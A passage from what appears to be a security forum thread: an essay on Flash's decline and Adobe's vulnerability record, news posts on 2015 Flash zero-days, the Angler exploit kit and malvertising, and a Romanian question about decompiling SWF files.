made me ruin my manicures here and there.) But I could usually assume that they needed Flash for YouTube most of the time. A few years ago, they really needed it for games in Facebook, as well. The first nail in the coffin was mobile. The late Steve Jobs, although I strongly dislike the guy, was correct when he said, “Flash has not performed well on mobile devices. We have routinely asked Adobe to show us Flash performing well on a mobile device, any mobile device, for a few years now. We have never seen it.” Although Adobe really wanted to port Flash to mobile platforms, that effort was never successful. It was never available for iOS. It was available at times for Symbian, Palm OS, and webOS. It was available for some devices running Android versions 2.2 through 4.0.4. It never really seemed to catch on, once smartphones and tablets became the primary way for consumers to enjoy content from the Internet. W3C started working on HTML 5 in 2004. It was usable for me to play around in starting in 2010. But I’m more of a web page developer than a web app developer, so my web development was focused on standards compliance and cross browser and device compatibility rather than creating nifty things with the canvas element. Nonetheless, the introduction of the <video> tag made it a lot easier to embed video without Flash than ever before. And other new tags and functions in HTML 5, combined with sophisticated CSS and JavaScript use, rendered Flash unnecessary for dynamic apps, as well. HTML 5, when used by a competent developer, works just as well on mobile as it does on desktop platforms, and that was apparent well before HTML 5 became officially stable on October 28th, 2014. In fact, I can’t think of a more successful and widespread beta release off the top of my head. Unless you directly worked in web browser and engine development, October 28th would’ve been just another Tuesday. Adobe announced that they had given up on developing Flash for mobile in November 2011. That well predated HTML 5’s stable release. In addition to games and other web apps using open standard alternatives to Flash, YouTube started to make HTML 5 compatible videos available in January 2010, via WebM and H.264. Also, there are native mobile apps for watching YouTube videos outside of the web. So, the thorough acceptance of cross platform open standards, especially HTML 5, combined with everyone and their grandma using mobile devices and Adobe’s struggle with it, sealed Flash’s doom. Then, on January 27th of this year, YouTube announced that HTML 5 video is now default in Chrome, Internet Explorer 11, Safari 8, and the latest Firefox releases. If your browser uses one of the same rendering engines, such as the latest stable versions of WebKit and Trident, you’ll probably experience the same. A Brief Summary of Adobe’s Security Problems This is by far not a complete summary of all of the security problems Flash (and Acrobat) has had, but I’ll explain some of the major ones. In 2007, an Adobe (Acrobat) Reader bug exposed the local filesystems of users’ computers to anyone who knew how to exploit it. Trojan Adobe Flash Player and Reader updates started to become prevalent in 2008. It’s been such a problem that when I see an update popup on a user’s machine, I assume it’s malicious until I determine otherwise. So, that’s been a huge problem for consecutive years now. How come all kinds of other applications, open and closed, from developers of all sizes can patch without popups users have to interact with, but Adobe can’t manage to do that? That’s a massive trojan vector, and there are two disastrous sides to that coin. The vast majority of end users lack my expertise, particularly in malware. A Flash or Reader update popup could be a trojan. Sometimes end users have had experience with Adobe trojans already, so someone like me may have advised them to exercise caution when they see such a popup. But the popup could necessitate interaction for a legitimate and very necessary security patch. So with end users unable to determine whether or not a popup is a trojan, not interacting with it could be the less secure rather than more secure thing to do. In 2009, Symantec’s Internet Security Threat Report explained how Adobe, with Flash and Reader, had one of their most insecure years ever. Adobe’s Chuck Geschke was tremendously arrogant when he was interviewed by John Paczkowski about that. Paczkowski: “Both Apple and Microsoft have said publicly now that Flash has issues with reliability, security, and performance. Do you think those complaints are legitimate?” Geschke: “I think they’re old news. Go to our website and read the actual facts about Flash. We enumerate the facts about Flash there as we see them. They may have a different set of facts that they believe are accurate. It’s up to you to decide.” Ummm, Mr. Geschke… Facts are never subjective by their very definition. Facts are facts, period. You sound like a bloody Scientologist. “Today, I feel like 2 + 2 = 5. It just feels right to me, but your mathematics professor may have a different set of facts they believe are accurate.” Here are the facts. This is what Symantec’s 2009 report actually said, and I hold them in much higher esteem than I do Adobe: “In 2009, Symantec documented 321 vulnerabilities affecting plugins for web browsers. ActiveX technologies were affected by 134 vulnerabilities, which was the highest among the plugin technologies examined. Of the remaining technologies, Java SE had 84 vulnerabilities, Adobe Reader had 49 vulnerabilities, QuickTime had 27 vulnerabilities, and Adobe Flash Player was subject to 23 vulnerabilities. The remaining four vulnerabilities affected extensions for Firefox… “Among the vulnerabilities discovered in 2009, a vulnerability affecting both Adobe Reader and Flash Player was the second most attacked vulnerability. This was also one of four zero-day vulnerabilities affecting Adobe plug-ins during 2009. Two of the vulnerabilities were in the top five attacked vulnerabilities for 2009. Additionally, Adobe vulnerabilities have been associated with malicious code attacks such as the Pidief.E Trojan.” Ouch! And Adobe’s position as one of the most insecure major software vendors ever didn’t cease in 2009. It still isn’t “old news,” Mr. Geschke. Malicious PDFs were used to sucessfully attack Rackspace, Adobe, and Google in 2010. A remote access bug was discovered in Flash in 2011. When properly exploited, one could acquire full control of an affected client machine. Flash Player made it to the top of Symantec’s list of most exploitable plugins in 2012. In October 2013, Adobe was attacked, revealing the sensitive data of 2.9 million users. The sensitive data affected included credit card and debit card information. The same day, YouTube announced default HTML 5 video, January 27th, 2015, Adobe had to release a security patch for two really major Flash vulnerabilities. Independent security researcher Kafiene discovered vulnerability CVE-2015-0311. It allowed Flash to be used as a vector for malicious code injection which could, once again, give complete control of an affected machine to a blackhat. A security researcher named Bilou discovered CVE-2015-0312. It was very similar to CVE-2015-0311, it also enables remote code injection. And of course, with Adobe being Adobe, barely a week passed before fifteen vulnerabilities had to be addressed in a patch that released on February 5th. Yet again, these vulnerabilities enable remote malicious code injection and execution. If you’re still using Flash in Windows, OS X, and GNU/Linux, this is what you must know about eighteen additional CVE listings: “Users of Adobe Flash Player for Windows and OS X should update to Adobe Flash Player 16.0.0.305. Users of Adobe Flash Player Extended Support Release should update to Adobe Flash Player 13.0.0.269. Users of Adobe Flash Player for Linux should update to Adobe Flash Player 11.2.202.442. The Adobe Flash Player installed with Google Chrome, as well as Internet Explorer on Windows 8.x, will automatically update to version 16.0.0.305.” I can safely assume that we’ll continue to learn about really major vulnerabilities that pertain to Flash and Reader for as long as those products continue to be developed by Adobe. I base that assumption not only on Adobe’s reputation and their tendency to take a head in the sand approach to security, but also on Adobe’s patch management style. Their patches address vulnerabilities that are near the surface of their applications, rather than the really deep vulnerabilities at the center of their really old code bases. Way too much of the code is unchanged from the 1990s. I’d love for a security firm with much greater resources than I have to do a really thorough penetration test of the most recent versions of Flash and Reader for Windows, OS X, and GNU/Linux. The reported findings would probably require a forest’s worth of pulp if printed on paper. So, yes, security vulnerabilities can be found in products from all developers. But Adobe is much worse than the norm. Alternative PDF viewers and creators are available for pretty much all mobile and desktop platforms. And open web standards such as HTML 5 have made Flash obsolete. Heck, I even use GIMP instead of Photoshop. Here’s my advice. Whether you’re enterprise or a consumer, get Adobe out of your abode. Now you can do it for content creation and consumption. And it’s easy. References Still using Adobe Flash? Oh well, get updating: 15 hijack flaws patched- Shaun Nichols, The Register Still using Adobe Flash? Oh well, get updating: 15 hijack flaws patched • The Register YouTube flushes Flash for future flicks- Simon Sharwood, The Register YouTube flushes Flash for future flicks • The Register YouTube now defaults to HTML 5 <video>- Richard Leider, YouTube Engineering and Developers Blog YouTube Engineering and Developers Blog: YouTube now defaults to HTML5 <video> Another day, yet another Adobe Flash patch. Because that’s how we live now- Iain Thomson, The Register Another day, yet another emergency Adobe Flash patch. Because that's how we live now • The Register Adobe has an epically abysmal security record- Jose Pagliery, CNN Money Adobe has an epically abysmal security record - Oct. 8, 2013 Adobe says hackers accessed data for 2.9 million customers- James O’Toole, CNN Money http://money.cnn.com/2013/10/03/technology/security/adobe-hack/index.html?iid=EL Thoughts on Flash- Steve Jobs, Apple.com https://www.apple.com/hotnews/thoughts-on-flash/ Why You Should Ditch Adobe Shockwave- Brian Krebs, Krebs on Security http://krebsonsecurity.com/2014/05/why-you-should-ditch-adobe-shockwave/ YouTube says HTML5 video ready for primetime, makes it default- Ron Amadeo, ArsTechnica http://arstechnica.com/gadgets/2015/01/youtube-declares-html5-video-ready-for-primetime-makes-it-default/ The tooth gnashing you hear is from Flash users installing a new 0day patch- Dan Goodin, ArsTechnica http://arstechnica.com/security/2015/01/those-teeth-gnashings-you-hear-are-flash-users-installing-a-new-0day-patch/ How secure is Flash? Here’s what Adobe won’t tell you- Ed Bott, ZDNet http://www.zdnet.com/article/how-secure-is-flash-heres-what-adobe-wont-tell-you/ Adobe issues emergency Flash update for Windows and Mac- Dara Kerr, C|Net http://www.cnet.com/news/adobe-issues-emergency-flash-update-for-windows-and-mac/ Source
  19. Adobe Systems has made a patch available for a zero-day vulnerability in Flash Player that came under attack in recent days. The vulnerability, CVE-2015-0313, affects Adobe Flash Player 16.0.0.296 and earlier versions for Windows, Macintosh and Linux, as well as Flash Player 13.0.0.264 and earlier 13.x versions. The vulnerability can be exploited to cause a crash and possibly take control of a vulnerable systems. So far, the vulnerability is known to have been used to target systems running Internet Explorer and Firefox on Windows 8.1 and below. The bug has been linked to malvertising attacks. In the days since news broke of the vulnerability, security researchers have determined that the zero-day was being leveraged by a lesser known exploit called 'HanJuan' – not the Angler kit as some had previously thought. "Exploit kits are made of different parts that can be updated as time goes on," Malwarebyes Senior Security Researcher Jerome Segura blogged recently. "That is one critical part as most software programs evolve and new vulnerabilities are discovered. Since there is a high demand to have the most effective exploitation tools, there is a lot of money that goes into making the exploit kits better." The malvertising attack detected by Trend Micro impacted visitors to dailymotion.com, who were directed to a series of sites that ultimately led to the exploit kit. Malvertisements are an old style of malware delivery, but they remain incredibly notorious because websites have no choice but to load ads and trust whatever content is served by third parties, blogged Trend Micro Threats Analyst Brooks Li. Users, on the other hand, have no choice but to accept ads as a part of their everyday browsing experience as well, Li added. According to Adobe, users who have enabled auto-update for the Flash Player desktop runtime will be receiving version 16.0.0.305 beginning today to fix CVE-2015-0313. "Adobe expects to have an update available for manual download on February 5, and we are working with our distribution partners to make the update available in Google Chrome and Internet Explorer 10 and 11," according to Adobe. This vulnerability is the third Flash Player zero-day discovered in the past month that came under attack. In January, Adobe patched CVE-2015-0310, which could be used to circumvent memory randomization mitigations on Windows, as well as CVE-2015-0311, which could be leveraged to cause a crash or hijack a vulnerable system. Source: securityweek.com
  20. Security researcher Kafeine has discovered a Zero-Day in Adobe Flash Player distributed through the Angler Exploit Kit. Flash has been plagued with critical vulnerabilities in the past few months and surpassed the no longer popular Java as the most exploited plugin. We immediately got our hands on this new Zero-Day (thanks Kafeine) and were able to replay it as well with the goal of testing our Anti-Exploit product: Security researcher Kafeine has discovered a Zero-Day in Adobe Flash Player distributed through the Angler Exploit Kit. Flash has been plagued with critical vulnerabilities in the past few months and surpassed the no longer popular Java as the most exploited plugin. We immediately got our hands on this new Zero-Day (thanks Kafeine) and were able to replay it as well with the goal of testing our Anti-Exploit product: MarcinZeroDay With the latest version of Internet Explorer and latest version of Flash, the exploit was successfully blocked by Malwarebytes Anti-Exploit. On unprotected machines, the Angler Exploit Kit will install Bedep, a distribution botnet that can load multiple payloads on the infected host. As this is a breaking story, we are still analyzing the exploit and will update this post later accordingly. Update: 01/21/15: Some details about the malware payload. The payload in this particular instance was ad fraud. Upon infection, explorer.exe (not to be confused with iexplore.exe) is injected and performs the ad fraud calls. The following Fiddler capture shows how a zombie PC is gaming the ad networks with bogus requests without the victim’s knowledge: sursa:Malwarebytes team
  21. Am o intrebare... sa va spun mai intai despre ce e vorba... Imi place foarte mult ce fac cei din echipa site-ului si nu ai cum sa inveti decat uitandu-te in fisierul extensia *.fla, dar asa ceva nu poti lua de pe site-ul lor, in schimb se poate lua fisierul cu extensia *.swf iar cu o decompilare se rezolva... asta e logic... bine ca si cu asta e o problema deoarece majoriatatea programelor nu iti da si actionscriptul din fisierul .fla. ASA. acum unele fisiere ;e poti lua foarte usor deoarece cu developer tools din google chrome gasesti foarte repede fisierele swf. dar am intalnit la unele pagini scriptul acesta si nu stiu cum da de 32484.swf mersi anticipat
×
×
  • Create New...